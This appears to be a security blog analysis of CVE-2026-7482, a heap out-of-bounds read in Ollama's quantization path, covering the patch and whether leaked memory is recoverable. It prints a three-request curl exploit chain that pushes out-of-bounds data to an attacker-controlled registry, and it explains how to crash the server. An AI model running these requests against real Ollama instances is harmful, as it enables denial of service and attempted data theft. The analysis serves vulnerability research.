//nefariousplan

CVE-2026-7482: Ollama's Heap OOB Read Returns Your Memory After a 4-Bit Quantizer

pattern

cve

proof of concept

Two independent reproductions of CVE-2026-7482 land in public the same week. Both ship truncated GGUF files to Ollama's /api/create quantization path, both reach a heap out-of-bounds read in quantizer.WriteTo, both confirm bytes leave the server, and both note in their READMEs that the bytes the attacker receives are not the bytes the OOB primitive accessed.

The CVE is rated C:H/I:N/A:H. The patch in 0.17.1 closes the OOB read at two layers. Neither layer is the layer that decides whether the read is recoverable.

The OOB Read Is In Two Files. The Patch Closes Both.

CVE-2026-7482 is two missing checks. Both check the same invariant from opposite ends.

The first is in the GGUF parser. fs/ggml/gguf.go, Decode(), the loop that walks the tensor table after the header has been read:

// fs/ggml/gguf.go (pre-patch, v0.17.0)
for _, tensor := range llm.tensors {
    offset, err := rs.Seek(0, io.SeekCurrent)
    if err != nil {
        return fmt.Errorf("failed to get current offset: %w", err)
    }

    padding := ggufPadding(offset, int64(alignment))
    if _, err := rs.Seek(padding, io.SeekCurrent); err != nil {
        return fmt.Errorf("failed to seek to init padding: %w", err)
    }

    if _, err := rs.Seek(int64(tensor.Size()), io.SeekCurrent); err != nil {
        return fmt.Errorf("failed to seek to tensor: %w", err)
    }
}

rs is an io.ReadSeeker over the uploaded GGUF. tensor.Size() is computed from the tensor's declared shape and kind. On a [N, 256] F16 tensor that is N * 256 * 2 bytes. The loop seeks past each tensor's declared payload to land at the start of the next entry. On a real *os.File, Seek past EOF does not error. Decode walks happily through tensor metadata for tensors whose declared bytes do not exist on disk.

The patch adds a single Seek(0, io.SeekEnd) to capture the file size, then for each tensor checks that the declared payload ends inside the file:

+ // get file size to validate tensor bounds
+ fileSize, err := rs.Seek(0, io.SeekEnd)
+ if err != nil {
+     return fmt.Errorf("failed to determine file size: %w", err)
+ }
+ ...
  for _, tensor := range llm.tensors {
+     tensorEnd := llm.tensorOffset + tensor.Offset + tensor.Size()
+     if tensorEnd > uint64(fileSize) {
+         return fmt.Errorf("tensor %q offset+size (%d) exceeds file size (%d)", tensor.Name, tensorEnd, fileSize)
+     }

The second check is the one the OOB read goes through. server/quantization.go, quantizer.WriteTo:

// server/quantization.go (pre-patch)
func (q quantizer) WriteTo(w io.Writer) (int64, error) {
    quantize := q.from.Kind != q.to.Kind
    sr := io.NewSectionReader(q, int64(q.offset), int64(q.from.Size()))
    if !quantize {
        n, err := io.Copy(w, sr)
        q.progressFn(q.from.Size())
        return n, err
    }
    data, err := io.ReadAll(sr)
    if err != nil {
        return 0, fmt.Errorf("unable to read tensor %s from %s: %s", q.from.Name, q.Name(), err)
    }
    var f32s []float32
    newType := fsggml.TensorType(q.to.Kind)
    if fsggml.TensorType(q.from.Kind) == fsggml.TensorTypeF32 {
        f32s = unsafe.Slice((*float32)(unsafe.Pointer(&data[0])), q.from.Elements())
    } else {
        f32s = ggml.ConvertToF32(data, q.from.Kind, q.from.Elements())
    }
    data = ggml.Quantize(newType, f32s, q.from.Shape)
    n, err := w.Write(data)
    q.progressFn(q.from.Size())
    return int64(n), err
}

data is what ReadAll could pull out of the SectionReader. On a truncated file that is fewer bytes than q.from.Size() declared. The next two lines compute work bounds from the declared tensor instead of from len(data). The unsafe.Slice call constructs a []float32 of length q.from.Elements() pointing at &data[0]. The ConvertToF32 call passes q.from.Elements() as the count. Both walk past the end of the actual data allocation in the Go heap.

The patch is one if between the read and the cast:

  data, err := io.ReadAll(sr)
  ...
+ if uint64(len(data)) < q.from.Size() {
+     return 0, fmt.Errorf("tensor %s data size %d is less than expected %d from shape %v", q.from.Name, len(data), q.from.Size(), q.from.Shape)
+ }

Two checks in two files, reading the same invariant from opposite ends. Decode validates declared size against the bytes on disk. The quantizer validates declared size against the bytes in memory. Defense in depth, both committed in the same patch.

The PoCs in public reach the second check by submitting a GGUF the first check would now reject. The exploit chain is three POSTs to three unauthenticated endpoints:

# 1. Upload the truncated GGUF as a content-addressed blob.
curl -X POST http://target:11434/api/blobs/sha256:<hash> \
     --data-binary @malicious.gguf

# 2. Create a model from the blob, ask for Q4_K_M down-quantization.
#    This is the call that walks the OOB through quantizer.WriteTo.
curl -X POST http://target:11434/api/create \
     -H 'Content-Type: application/json' \
     -d '{
       "model": "attacker.example.com/leak/0",
       "files": {"malicious.gguf": "sha256:<hash>"},
       "quantize": "Q4_K_M",
       "stream": false
     }'

# 3. Push the model to a registry the attacker controls. The push body
#    is the OOB-read bytes after the cast and the quantize.
curl -X POST http://target:11434/api/push \
     -H 'Content-Type: application/json' \
     -d '{"name": "attacker.example.com/leak/0", "insecure": true, "stream": false}'

insecure: true is the flag that allows pushing to an HTTP registry. The "rogue registry" in 0x0OZ/CVE-2026-7482-PoC is a hundred-line Python script that returns 202 to the upload-init request, returns 201 to the chunk PUT, and writes whatever bytes Ollama sends into a file in exfils/. None of the three Ollama endpoints required authentication in 0.17.0 and none require it in 0.17.1; the patch addresses memory safety, not auth.

The Channel Between Heap And Wire Is A Destructive Filter

A natural reading of "heap OOB read in an LLM server" is Heartbleed-for-AI. A natural reading of CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H is the same. C:H is "a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker." That is the rating MITRE published. That is the rating fleet triage will use.

The bytes the attacker receives are not raw heap. The path between OOB read and wire is this:

data, err := io.ReadAll(sr)          // data is short, OOB starts here
       ↓
ConvertToF32(data, F16, N)           // 2 bytes per element, N times
       ↓
f32s := []float32{...}                // last (N - len(data)/2) values were
                                      // read OOB into adjacent Go heap
       ↓
ggml.Quantize(Q4_K_M, f32s, shape)   // block by 256, scale per block,
                                      // 4 bits per weight, plus 6-bit scales
       ↓
data := <quantized bytes>             // 144 bytes per 256-element block
       ↓
w.Write(data)                          // wire

Q4_K_M is a real production format, documented in llama.cpp's ggml-quants.h. Each block is 256 weights packed into 144 bytes:

// ggml-quants.h
#define QK_K 256
typedef struct {
    union {
        struct {
            ggml_fp16_t d;    // super-block scale
            ggml_fp16_t dmin; // super-block min
        } GGML_COMMON_AGGR;
        uint32_t dm;
    };
    uint8_t scales[12]; // 6-bit scales/mins for 8 sub-blocks
    uint8_t qs[QK_K/2]; // 4 bits per element
} block_q4_K;

256 16-bit floats become 144 bytes. Twelve of every sixteen bits of original information are gone. The transform's loss landscape was tuned to preserve neural-network weight distributions: weights that cluster around zero, follow approximately Gaussian distributions, and whose absolute values rarely exceed a few units.

ASCII text reinterpreted as F16 is a different population. ASCII byte values lie in 0x20 to 0x7E, and pairs of those bytes form F16 patterns dominated by sub-normals, denormals, and the occasional infinity from a high-bit pair. The block-level scaling factor and minimum that Q4_K_M computes for each 256-weight block are set by the block's largest absolute value. A run of ASCII text reinterpreted as F16 produces blocks whose extremes do not preserve the per-byte information; whatever they preserve is statistical and aggregate.

Two researchers reproduced the OOB end to end. Both ran into the same wall.

Two Researchers, Both With Lab Control, Both Unable To Recover Canaries

The first PoC, by 0x0OZ, ships a complete remote chain: a forge script that builds the truncated GGUF, an exploit that posts to /api/blobs, /api/create, /api/push, and a rogue registry that catches the pushed blobs in exfils/. The README ends with this paragraph:

Note on Data Integrity (The Quantization Trap): While the exploit successfully captures and exfiltrates up to several megabytes of server heap memory, the data is subjected to Ollama's Q4_K_M down-quantization algorithm during the OOB read. The backend casts the raw memory bytes to float16 and applies a lossy 4-bit block compression scheme. Consequently, the leaked memory is mathematically mangled. Standard ASCII extraction tools will yield binary garbage, making plaintext credential recovery practically unviable via this specific coercion path.

The second PoC, by szybnev (szybnev/CVE-2026-7482), runs locally against ollama/ollama:0.17.0 in a Docker container. It plants nine canary strings in the same address space as the server process and probes for them across the full quantization output. It tests Q4_K_M (4 bits, lossy). It tests Q8_0 (8 bits, less lossy, 32-element blocks). It dequantizes Q8_0 back to F32 and to pseudo-F16. It searches for the nine markers and seven fragments (CVE7482, CANARY, sk-proj, AKIA, ghp_, postgresql, HEAP) across the raw quantized tensor, the dequantized F32 bytes, and the reconstructed F16 bytes. The README's findings section closes with this:

The practical conclusion from my tests is:

  • Heap OOB behavior is reproducible.
  • OOB-influenced quantized artifacts are observable.
  • Clear black-box plaintext impact was not demonstrated.

Two implementations, two researchers, full lab control on both sides, the same finding twice. The OOB read is real. The artifact is OOB-influenced. The channel between heap and wire is a destructive filter on the bytes that flow across it.

The DoS Half Is Reachable. The C:H Half Is The Question.

The vector is C:H/I:N/A:H. The A:H half is reached cleanly. PoC A's forge script flags TARGET_LEAK_SIZE_MB = 2.0 with the comment "Recommended: 0.5MB to 2.0MB to avoid segfaulting unmapped pages." Larger overreads run off the end of the Go heap allocation into unmapped territory and crash the server. The crash is a single unauthenticated POST. A:H is real, repeatable, and weaponizable in one request.

The C:H half is the part the channel does not support. CVSS C:H presumes a primitive that conveys the read bytes to the attacker. The rubric's "all resources within the impacted component being divulged" requires that the bytes the attacker holds at the end of the chain are the bytes the primitive accessed at the start. The bytes that exit Ollama 0.17.0 over /api/push are not those. They are F16-cast, F32-converted, Q4_K_M-quantized, packed into 144-byte blocks with shared scales, and then framed for a Docker registry.

This shape is channel-bounded-disclosure. A memory-disclosure primitive whose exfiltration path passes through a destructive transform (quantization, compression, hashing, sampling) does not deliver what the primitive accesses. It delivers what the channel can carry. The pattern recurs in modern data-pipeline products because data pipelines are inherently lossy: ML serving stacks quantize, observability stacks sample, log pipelines redact, telemetry stacks hash. The severity rating, computed against the primitive's name, will read high. The channel is the part defenders need to size.

The patch in 0.17.1 is the right patch. It closes the OOB read at the parser and at the quantizer. It does not change the channel, because the channel is not the bug; the channel is what Ollama is for. A future memory-safety bug that lands inside the same quantization path will exit the server through the same filter.

PoC: 0x0OZ/CVE-2026-7482-PoC and szybnev/CVE-2026-7482.

C:H rates the primitive. The channel sets the ceiling.